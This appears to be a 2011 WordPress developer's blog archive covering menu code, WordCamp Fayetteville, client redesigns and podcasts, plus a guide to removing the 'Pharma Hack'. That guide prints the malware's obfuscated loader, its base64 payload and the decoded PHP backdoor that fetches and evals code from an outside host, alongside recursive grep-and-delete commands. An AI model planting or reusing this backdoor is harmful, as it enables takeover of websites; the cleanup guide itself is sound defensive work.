WordPress Menu Support for Older Themes

As a lot of you that are die-hard WordPress users are probably already aware, WordPress has launched their new menu builders under the appearance tab. The menu builder will allow you to create a menu from any categories, pages and links, order them by drag and drop, create submenus, etc.

This is something that I am pretty sure was contributed to core from the good people at WooThemes, because they had this for a while in some of their theme settings. In the event you have an older WordPress Theme and would like to have this functionality but inside the dashboard you keep getting a notice that your theme is not compatable, here’s what you can do…

Locate your theme directory/ functions.php and add this line of code:

// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
	'primary' => 'Primary Navigation'
) );

Secondly, locate your theme directory/header.php file and add/edit this line of code:

<?php wp_nav_menu( 'sort_column=menu_order&container_class=menu-header' ); ?>

Once these two files have been modified you should be able to log back into your wordpress installation dashboard and select the menu option under appearance and get started.

Presentation Preview for #WCFay

I will be doing a presentation titled ‘Making WordPress Profitable for Agencies / Design Firms‘ during Wordcamp Fayetteville this year, which is taking place on July 30, 2011 in Fayetteville, at the Donald W. Reynolds Center for Enterprise Development. If you haven’t registered already, there is still time, the price for general admission is $35 and you can click here to register online.

The people in charge at #WCFay asked me to do a short blog post or teaser so that those attending the conference will have a heads up as to what my talk will be about. In short, it’s all about making money. I could just leave it at that and feel pretty confident that I have proposed a topic that will be of interest to everyone there, but I will take it a step further. This discussion is going to more or less look at our industry from a business owners perspective and why I feel like WordPress is the most powerful tool we have in our arsenal today. I will also share some tips that can help your agency or firm become more profitable during a down economy…

I am looking forward to this discussion. Here’s a few teaser slides from my presentation…

This should be a fun presentation, hope to see you there!!

Removing WordPress Pharma Hack

I posted a few weeks ago about the WordPress Pharma Hack that has been running pretty rampant across the web, in case you missed my initial post, here’s a link. Well, I would like to say that we were able to jump right on this thing and immediately remove it pretty easily, but that simply wasn’t the case. I worked closely w/ Matt Critcher, our server admin at Pleth, LLC, and probably one of the sharpest guys I know, and we toiled over this thing daily for about a week or so until we finally eradicated it from all of our WordPress installations. For the benefit of all of you that are still wrestling w/ this hack, here’s exactly how we removed it…

Locate all base64_decode

This hack, like a lot of others, used base64 code to disguise JavaScript (so we have to locate it and remove it, this is what it will look like)

< ? php $XZKsyG=’as’;$RqoaUO=’e';$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t';$joEDdb
=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY.......and so on...

To locate and remove the code, you will need to SSH into your server, CD into the wordpress home directory and do the following

grep -r 'php \$[a-zA-Z]*=.as.;' * |awk -F : '{print $1}' | xargs -I{} rm -v {}

This will scan the entire folder and all it’s sub-directories for any file containing the string “php $RANDOMLETTERS=’as’” and delete it verbosely. If you do not wish to delete it automatically just run this to print out the filename.

grep -r 'php \$[a-zA-Z]*=.as.;' * |awk -F : '{print $1}'

When we did this, there were about 50 files that contained the exploit.  There are other files containing nasty code as well. You will also need to to search for and remove files containing the string “wp_class_support”.

grep -r wp_class_support * |awk -F : '{print $1}' |xargs -I{} rm -v {}

This bit of syntax will search for files with that string and delete them (if you want to manually delete them, leave off the xargs part as per the above example).

I also found this nasty thing (not sure if it is related to the Pharma Hack) in several files. All were WordPress core files, so you MUST replace every WordPress file on your site with clean ones. DO NOT do this via the internal utility – use FTP, SCP, or whatever to get these files uploaded. Once you have done this, do

grep -r QGluaV9yZXN0b * |awk -F : '{print $1}'

This will search the remaining files for the exploit. Any files containing this MUST be replaced or you are still infected. The full text of the exploit the base64 encoded string as follows:

QGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTtAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpO0BpbmlfcmVzdG9yZSgic2Fm
ZV9tb2RlX2luY2x1ZGVfZGlyIik7QGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTtAaW5pX3Jlc3RvcmUoImRp
c2FibGVfZnVuY3Rpb25zIik7QGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iK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VFAvMS4wXHJcbiI7JG91dCAuPSJI
b3N0OiAkaG9zdFxyXG4iOyRvdXQgLj0iVXNlci1BZ2VudDogTW96aWxsYS80LjBcclxuIjskb3V0IC49IkNvbm5lY3Rpb246
IENsb3NlXHJcblxyXG4iO0Bmd3JpdGUoJGZwLCRvdXQpO3doaWxlKCRhbnNbXT1mZ2V0cygkZnApKTtmY2xvc2UoJGZwKTsk
YW5zPXRyaW0oaW1wbG9kZSgnJywkYW5zKSk7JGRhdGE9KHRyaW0oc3Vic3RyKCRhbnMsc3RycG9zKCRhbnMsIlxyXG5cclxu
IikpKSk7cmV0dXJuICRkYXRhO319ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykgJiYgQGlu
aV9nZXQoJ2FsbG93X3VybF9mb3BlbicpPT0xKXskZnVsbF91cmw9J2h0dHA6Ly8nLiRob3N0LicvJy4kdXJsOyRkYXRhPUBm
aWxlX2dldF9jb250ZW50cygkZnVsbF91cmwpO3JldHVybiAkZGF0YTt9fQ0KaWYoJF9SRVFVRVNUWydzaCddICE9ICIiKSB7
ZXZhbChiYXNlNjRfZGVjb2RlKEdldFNoZWxsQ29udGVudCgiXHg3M1x4NjVceDZmXHg3NFx4NmZceDZmXHg3M1x4MmVceDYz
XHg2Zlx4NmQiLCJzL2kucGhwPyIuJF9SRVFVRVNUWydzaCddLiImaG9zdD0iLnVybGVuY29kZSgkX1NFUlZFUlsnU0VSVkVS
X05BTUUnXSkuIiZ1cmw9Ii51cmxlbmNvZGUoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSkpO2V4aXQ7fQ==

Which decodes as

@ini_restore("safe_mode");@ini_restore("open_basedir");@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");@ini_restore("disable_functions");@ini_restore("allow_url_fopen");
if(@function_exists('ini_set'))
{@ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('file_uploads',1);
@ini_set('allow_url_fopen',1);}else{@ini_alter('error_log',NULL); @ini_alter('log_errors',0);
@ini_alter('file_uploads',1); @ini_alter('allow_url_fopen',1);}
function GetShellContent($host,$url){if(@function_exists('curl_init'))
{$full_url='http://'.$host.'/'.$url;$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$full_url);curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_HEADER,false);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/4.0');$data=@curl_exec($curl);
curl_close($curl);return $data;}elseif(@function_exists('fsockopen'))
{$fp=@fsockopen($host,80,$errno,$errstr,10);
if($fp){$out="GET /$url"." HTTP/1.0\r\n";$out .="Host: $host\r\n";
$out .="User-Agent: Mozilla/4.0\r\n";$out .="Connection: Close\r\n\r\n";
@fwrite($fp,$out);while($ans[]=fgets($fp));fclose($fp);$ans=trim(implode('',$ans));
$data=(trim(substr($ans,strpos($ans,"\r\n\r\n"))));
return $data;}}elseif(@function_exists('file_get_contents') && @ini_get('allow_url_fopen')==1)
{$full_url='http://'.$host.'/'.$url;$data=@file_get_contents($full_url);return $data;}}
if($_REQUEST['sh'] != "")
{eval(base64_decode(GetShellContent("\x73\x65\x6f\x74\x6f\x6f\x73\x2e\x63\x6f\x6d","s/i.php?"
.$_REQUEST['sh']."&host=".urlencode($_SERVER['SERVER_NAME'])."&url=".urlencode
($_SERVER['REQUEST_URI']))));exit;}

I went ahead and scanned the whole site for files that had base64_decodes in them. To search for these do the following:

grep -r base64 * |awk -F : '{print $1}' |sort |uniq

This will print out a list of each file that contains the string “base64″. You should examine each file carefully for rouge content, as many files legitimately contain this string and need it to function. If you are unsure of the code, replace the file with a fresh copy. Most of the files I’ve seen that are infected have the base64 statement at the very top of the file but this is not always the case.

Once you get the files cleaned, you need to work on the database. The exploit adds and/or modifies entries in the wp_options table. Using the MySQL interpreter or phpMyAdmin run the following query:

SELECT * FROM `wp_options` where `option_name` LIKE 'rss%' ORDER BY `wp_options`.`option_name` ASC;

This will search the wp_options table for all entries beginning with rss_ and return them. You will need to delete each one that looks similar to this:

rss_552afe0001e673901a9f2caebdd3141d

rss_ followed by strings of random numbers or letters is bad and MUST be deleted as they are added by the exploit. Also, the exploit adds or modifies several other records in the same table. A couple of the sites we found recommended running this query as well as these options should not be set or contain any data:

delete from wp_options where option_name = "class_generic_support";
delete from wp_options where option_name = "widget_generic_support";
delete from wp_options where option_name = "fwp’";
delete from wp_options where option_name = "wp_check_hash";
delete from wp_options where option_name = "ftp_credentials";

—————————————————————-

If all goes well, this information should help you eradicate the WordPress Pharma Hack from your wordpress installation. For a more detailed post on how to remove this hack, I highly recommend Matt Critcher’s post on his blog…

 

The WordPress Pharma Hack

Today I received an alert that one of our websites was reported by Google as being the victim of hacking and was being flagged as possibly dangerous in their search results. This immediately caught me off guard because our server admin, Matt Critcher, is one of the best in the business and nothing gets past this guy. We have several years of research and development and no telling how much cash invested in the security of our hosting environment. Granted, securing a server is something you have to work at just about everyday to eliminate new threats as they arise, and believe me, we take security very seriously.

Upon receiving this notification I immediately logged into the website that had been flagged and started looking for anything out of the ordinary. I was able to immediately eliminate most of the usual list of characters you see w/ open-source software attacks such as defaced pages or redirection scripting. I kept digging around and finally got on Skype w/ Matt to see if he had seen anything out of the ordinary from his end. We did some investigating and discovered that the hack itself wasn’t something that we could actually see on the website itself, but instead, it showed up in the Google search results for that website. In all of my years developing websites I can honestly say that I have never seen a hack quite like this before.

I did a little research and quickly stumbled upon this article on pearsonified.com discussing the “pharma hack” on websites running WordPress, they too had in fact fallen victim to this exploit and offered up some great information on how to diagnose the hack and furthermore how to eliminate it from your WordPress installations (which is somewhat tedious to do). I also ran across an awesome tool for scanning your website by Securi that is hosted online at this location. A few hours later Matt had already rid our servers of this exploit but not before we had discovered it in a few other locations, including this website. See screengrab of Google results at the bottom of this post.

Keep in mind that we keep a very close eye on all of our software installations and perform frequent updates to insure we have the latest versions of every application running. Somehow this sneaky hack found it’s way into our ecosystem, and quite honestly that’s an accomplishment on whoever launched this exploits part. I spoke to a friend this afternoon who also has a web hosting company and he had just learned that several of his clients were reporting inaccurate Google search results for their websites as well.

The questions I have at this point pertain to how in the world something like this could happen. I hope to learn more over the course of the next few days and will report back anything I should run across. In the meantime, it might not be a bad idea if you run WordPress to do a quite Google search for your website by entering in [site:www.yourdomain.com] to see if you have any weird page titles or meta information showing up, or give the Securi scanner a try to see if it can locate any problems you might not be aware of. Just glancing at a website page titles by browsing the site won’t work, everything looks normal.

Current Projects: Tice Realty Redesign

I launched the all new Tice Realty website this evening. This is a complete redesign for Tice Realty, who was previously running one of our legacy content management solutions and now needed something more robust. This new website is built totally on top of WordPress and utilizes the Genesis Framework. Click on the screenshot below to visit the all new Tice Realty Website…

One additional feature to the new Tice Realty website is the Tools & Resources page that incorporates a ton of useful Real Estate Information and Internet Search Tools into one convenient portal. You can visit this portal by clicking on this link…

Built entirely upon WordPress!

 

Wordcamp Fayetteville Information…

I got this press release today about WordCamp Fayetteville and wanted to pass it along…

WordCamp Fayetteville 2011 Speaker Lineup Announced

Jane Wells of the nonprofit WordPress Foundation will deliver the July 30th noon keynote address “The Future of WordPress” at WordCamp Fayetteville on the University of Arkansas campus. A slate of additional speakers – mostly from Northwest Arkansas – will speak on a range of topics, including the power of WordPress for nonprofit entities, how educational institutions use the software and the formation of the student-run and WordPress-powered magazine, The Arkansas Angle.

A moderated forum will address the topic “Finding A Niche Online: Success Stories” that features representatives from several companies, including Fort Smith’s The City Wire, on how they were commercially successful in finding an online voice. Additional speakers are geared toward technically advanced applications of WordPress, enriching Northwest Arkansas’ web developer and designer community.

WordCamp Fayetteville (http://2011.fayetteville.wordcamp.org) is Northwest Arkansas’ premier technology conference scheduled for July 30 – 31, 2011 at the Donald W. Reynolds Center for Enterprise Development on the University of Arkansas campus. Sunday’s events will be at The Belford Group in Fayetteville. WordCamps are held throughout the world and are organized on the local level by enthusiasts of WordPress. There will be a similar event in Chicago on the same day. WordCamp Fayetteville is sponsored by the nonprofit WordPress Foundation. Donations are tax-deductible. The philosophy behind WordCamps is that they break even financially and sponsors step up to subsidize a $30 ticket that would otherwise be much more expensive. WordCamp Fayetteville is prohibited from advertising. Tickets are available at http://2011.fayetteville.wordcamp.org/register.

At WordCamp Fayetteville, up to 300 people will spend the day learning about the free, open-source software called WordPress and how to better communicate and do business online.

“This is our second year and we think it’s putting Northwest Arkansas on the map among web developers,” said event founder Christopher Spencer, publisher of Ozarks Unbound. There are three content tracks that attendees can move between this year. They include: the Blogger track with its emphasis on writing, the Developer tack for those designing for WordPress and the Business track which focuses on making money with the software. A $30 ticket to WordCamp Fayetteville includes a day’s worth of programming, a t-shirt, a swag bag, Saturday lunch, an after party at Teatro Scarpino and an informal meet Sunday with presenters called the Guru Gallery.

“It’s the best $30 you can spend,” Spencer said.

WordCamp Fayetteville is generously supported this year by the Fayetteville Advertising and Promotion Commission, Paze Interactive and VaultPress. For more information, please contact Christopher Spencer at 479.530.4943 or christopher@ozarksunbound.com. Also check out http://wordcampfayetteville.com.

As far as the schedule goes, this is what was listed in today’s email. I am sure that this is subject to some re-arrangement between now and the actual conference…

Blogger Track -

  • 9 a.m. – Writing for the Web (Sara White. Serrabellum Digital Design)
  • 10 a.m. – Guest Blogging: How to find the best and avoid the pests (Andy Crofford)
  • 11 a.m.  – The Arkansas Angle student-run multimedia magazine (Tom Hapgood and Bret Schulte, University of Arkansas)
  • 2 p.m. – Numbers & Graphs & Keywords, Oh My! (Analytics for the blogger) (Angela Belford, The Belford Group )
  • 3 p.m. – The DIY Website: Using WordPress for Nonprofit Organizations’ Website (Angie Albright, Northwest Arkansas Women’s Shelter; Jody Dilday, Single Parent Scholarship Fund of Northwest Arkansas)
  • 4 p.m. – WordPress and Education (Jane Wells, WordPress Foundation)

Business Track –

  • 9 a.m. – Monetizing Your Blog Beyond the Banner Ads (Syed Balkhi, WP Beginner)
  • 10 a.m. – Target Practice: Using Analytics To Improve Your Aim (Angela Belford, The Belford Group )
  • 11 a.m.  – Texture, Rhythm and Scale: The Elements of Design (Sonia Davis Gutierrez, New Design School)
  • 2 p.m. – Social Media Consistency: Skip the Overwhelm and Create a Schedule That Works (Lela Davidson, Media Consultant)
  • 3 p.m. – Making WordPress Profitable for Agencies / Design Firms (Cotton Rohrscheib, Pleth LLC)
  • 4 p.m. – How to Harness the Power of Facebook to Build a More Interactive Community for Your Blog (Syed Balkhi, WP Beginner)

Developer Track –

  • 9 a.m. – The Ultimate WordPress Experience – WordPress as a CMS (Mitch Canter, Studio Nashvegas)
  • 10 a.m. – Win friends and influence people with BuddyPress (Shelley Keith, Southern Arkansas University)
  • 11 a.m.  – Custom Post Types and You (Mitch Canter, Studio Nashvegas)
  • 2 p.m. – Bare-Bones WordPress: Starting Your Theme With Starkers, HTML5 Boilerplate, and 960 Grid System (Tom Black, University of Arkansas School of Law)
  • 3 p.m. – Embrace the Mullet: CSS is the Party in the Back (a CSS ‘how-to’) (Tom Hapgood, University of Arkansas)
  • 4 p.m. – Theme Building and Security (A representative from iThemes)

I’m Speaking at Wordcamp…

I will be presenting on the business track during WordCamp Fayetteville 2011 on July 30, 2011 in Fayetteville, Arkansas. The topic of my session will be WordPress profitability for Agencies / Development firms. I attended last years WordCamp along w/ Keith Crawford and we had a blast. You can checkout the tentative list of speakers / sessions online here.

You can also register for the event online here…

Projects: Conway Faith Church Redesign

Recently I have been working on a wordpress theme redesign for one of our ministry clients, Conway Faith Church. After getting some input from their senior pastor regarding what he wanted to see incorporated into the new design I set out to design this new layout built upon the Studiopress Genesis Framework.

screenshot-conwayfaithchurchredesign

With just a handful of change requests Pastor Burden signed off on this new design pretty quickly. I should have it ready to install on their existing website the first part of this next week so be sure to check it out at http://conwayfaithchurch.com midweek…

EP:014 – The Cotton Club Podcast

thecottonclubpodcastsign_thumb1_thumb1_thumb[1] This evening I recorded another episode of The Cotton Club Podcast with Keith Crawford, Steven Trotter, and Mitch Canter.  It was awesome to have Mitch on the show w/ us this evening because he is an authority on all things wordpress in my opinion.  Keith and I first met Mitch at Wordcamp Fayetteville earlier this year and have followed his streams on Twitter and Facebook since then.

The topic for this evenings show was the GPL debate going on between Thesis and WordPress or Chris Pearson and Matt Mullenwig, however you want to look at it.  We covered how the whole controversy got started and what in the world it’s all about.  There have been tons of spirited debates recently on this topic so I thought it was appropriate we address it here on the show.  Also, we had Mitch give us a run down of his favorite WordPress Plugins and then we played a speed round of which plugin to use w/ Mitch.  Some of the plugins Mitch covered included: Gravity Forms, Kieran’s Calendar, PowerPress, Sexy Bookmarks, and WP-Touch.

Also, as usual we discussed our favorite iPhone apps of the week.  Some of the apps discussed in this episode included: DISQUS, Get Glue, iTweetReply, Boxcar, and LED Flashlight Ultimate.

EP:012 – The Cotton Club Podcast

thecottonclubpodcastsign_thumb[1] Well I think we figured out in this episode of The Cotton Club Podcast exactly how important a reliable internet connection is to producing a show like this.  My guests Keith Crawford, Brant Collins, Robert Blake, Craig McCoy, Arlton Lowry, and Steven Trotter were all gracious despite the fact we were disconnected 4 times thanks to my connection dropping out.  I promise to work on this and get it all squared away in the very near future so please bear with us through this episode, I did my best editing work to splice together all of the audio, hopefully you won’t be able to tell but I bet you do…

Even though we had some tough connection issues we still managed to cover some pretty cool topics in this episode including the release of the new iPhone and the IOS4.0 operating system.  We also touched on the rollout of WordPress 3.0.  Another discussion was carried over from my recent blog post on social media taboo where we each weighed in with our thoughts.  If you run a business and want to leverage social networks like Twitter, Facebook, Gowalla, or Foursquare in your marketing you should definitely give this episode a listen.  Our guests Arlton Lowry and Steven Trotter also discussed the co-working trends that have started up in Jonesboro and Conway and as usual we wrapped up the show discussing our favorite iPhone apps.  Again, please forgive our sloppiness in this episode, we are working to get everything resolved with our connection so we are up and running again soon without interruptions.